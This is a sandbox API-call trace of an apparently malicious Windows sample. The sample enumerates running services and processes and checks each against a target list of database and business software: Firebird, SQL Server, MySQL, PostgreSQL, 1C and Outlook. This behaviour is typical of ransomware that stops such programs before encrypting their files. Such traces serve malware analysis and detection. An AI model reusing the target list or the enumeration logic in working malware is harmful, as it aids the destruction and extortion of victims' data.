	[0272.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0272.959] lstrlenW (lpString="Schedule") returned 8
	[0272.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0272.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0272.959] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0272.959] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0272.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0272.959] lstrlenW (lpString="SENS") returned 4
	[0272.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0272.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0272.959] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0272.959] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0272.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0272.959] lstrlenW (lpString="ShellHWDetection") returned 16
	[0272.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0272.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0272.959] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0272.959] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0272.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0272.959] lstrlenW (lpString="Spooler") returned 7
	[0272.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0272.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0272.960] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0272.960] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0272.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0272.960] lstrlenW (lpString="SysMain") returned 7
	[0272.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0272.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0272.960] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0272.960] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0272.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0272.960] lstrlenW (lpString="Themes") returned 6
	[0272.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0272.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0272.960] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0272.960] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0272.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0272.960] lstrlenW (lpString="TrkWks") returned 6
	[0272.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0272.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0272.960] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0272.960] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0272.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0272.960] lstrlenW (lpString="UxSms") returned 5
	[0272.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0272.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0272.960] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0272.960] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0272.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0272.960] lstrlenW (lpString="Winmgmt") returned 7
	[0272.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0272.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0272.960] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0272.961] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0272.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0272.961] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41f5d68 | out: hHeap=0x4a0000) returned 1
	[0272.961] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x274
	[0272.962] Process32FirstW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0272.962] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0272.962] lstrlenW (lpString="System") returned 6
	[0272.962] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0272.962] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0272.962] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0272.962] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0272.962] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0272.962] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0272.962] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0272.962] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0272.963] lstrlenW (lpString="smss.exe") returned 8
	[0272.963] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0272.963] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0272.963] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0272.963] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0272.963] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0272.963] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0272.963] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0272.963] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0272.963] lstrlenW (lpString="csrss.exe") returned 9
	[0272.963] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0272.963] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0272.963] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0272.963] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0272.963] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0272.963] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0272.963] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0272.963] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0272.964] lstrlenW (lpString="wininit.exe") returned 11
	[0272.964] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0272.964] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0272.964] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0272.964] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0272.964] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0272.964] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0272.964] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0272.964] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0272.964] lstrlenW (lpString="csrss.exe") returned 9
	[0272.964] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0272.964] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0272.964] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0272.964] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0272.964] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0272.964] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0272.964] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0272.964] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0272.965] lstrlenW (lpString="winlogon.exe") returned 12
	[0272.965] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0272.965] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0272.965] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0272.965] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0272.965] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0272.965] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0272.965] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0272.965] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0272.965] lstrlenW (lpString="services.exe") returned 12
	[0272.965] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0272.965] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0272.965] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0272.965] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0272.965] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0272.965] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0272.965] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0272.966] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0272.966] lstrlenW (lpString="lsass.exe") returned 9
	[0272.966] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0272.966] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0272.966] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0272.966] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0272.966] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0272.966] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0272.966] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0272.966] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0272.966] lstrlenW (lpString="lsm.exe") returned 7
	[0272.966] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0272.966] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0272.966] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0272.966] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1
	[0272.966] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1
	[0272.966] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1
	[0272.967] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1
	[0272.967] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0272.967] lstrlenW (lpString="svchost.exe") returned 11
	[0272.967] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0272.967] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0272.967] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0272.967] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0272.967] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0272.967] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0272.967] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0272.967] lstrlenW (lpString="svchost.exe") returned 11
	[0272.967] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0272.968] lstrlenW (lpString="svchost.exe") returned 11
	[0272.968] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0272.968] lstrlenW (lpString="svchost.exe") returned 11
	[0272.968] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0272.968] lstrlenW (lpString="svchost.exe") returned 11
	[0272.968] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0272.968] lstrlenW (lpString="audiodg.exe") returned 11
	[0272.969] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0272.969] lstrlenW (lpString="svchost.exe") returned 11
	[0272.969] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0272.969] lstrlenW (lpString="userinit.exe") returned 12
	[0272.969] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0272.969] lstrlenW (lpString="explorer.exe") returned 12
	[0272.969] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0272.970] lstrlenW (lpString="dwm.exe") returned 7
	[0272.970] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0272.970] lstrlenW (lpString="svchost.exe") returned 11
	[0272.970] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0272.970] lstrlenW (lpString="swpesp.exe") returned 10
	[0272.970] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0272.971] lstrlenW (lpString="spoolsv.exe") returned 11
	[0272.971] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0272.971] lstrlenW (lpString="taskhost.exe") returned 12
	[0272.971] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0272.971] lstrlenW (lpString="svchost.exe") returned 11
	[0272.971] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0272.972] lstrlenW (lpString="reader_sl.exe") returned 13
	[0272.972] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0
	[0272.972] CloseHandle (hObject=0x274) returned 1
	[0272.972] Sleep (dwMilliseconds=0x1f4) 
	[0273.744] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4280950
	[0273.767] EnumServicesStatusExW (in: hSCManager=0x4280950, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0273.768] GetLastError () returned 0xea
	[0273.768] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe90) returned 0x41f5d68
	[0273.768] EnumServicesStatusExW (in: hSCManager=0x4280950, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f5d68, cbBufSize=0xe90, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f5d68, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0273.768] CloseServiceHandle (hSCObject=0x4280950) returned 1
	[0273.768] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0273.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0273.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0273.768] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0273.768] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0273.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0273.768] lstrlenW (lpString="AudioSrv") returned 8
	[0273.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0273.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0273.769] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0273.769] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0273.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0273.769] lstrlenW (lpString="BFE") returned 3
	[0273.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0273.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0273.769] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0273.769] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0273.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0273.769] lstrlenW (lpString="CryptSvc") returned 8
	[0273.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0273.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0273.769] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0273.769] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0273.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0273.769] lstrlenW (lpString="CscService") returned 10
	[0273.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0273.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0273.769] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0273.769] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0273.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0273.769] lstrlenW (lpString="DcomLaunch") returned 10
	[0273.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0273.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0273.769] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0273.769] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0273.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0273.769] lstrlenW (lpString="Dhcp") returned 4
	[0273.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0273.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0273.769] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0273.770] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0273.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0273.770] lstrlenW (lpString="Dnscache") returned 8
	[0273.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0273.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0273.770] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0273.770] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0273.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0273.770] lstrlenW (lpString="DPS") returned 3
	[0273.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0273.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0273.770] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0273.770] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0273.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0273.770] lstrlenW (lpString="eventlog") returned 8
	[0273.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0273.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0273.770] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0273.770] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0273.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0273.770] lstrlenW (lpString="EventSystem") returned 11
	[0273.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0273.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0273.770] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0273.770] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0273.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0273.770] lstrlenW (lpString="gpsvc") returned 5
	[0273.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
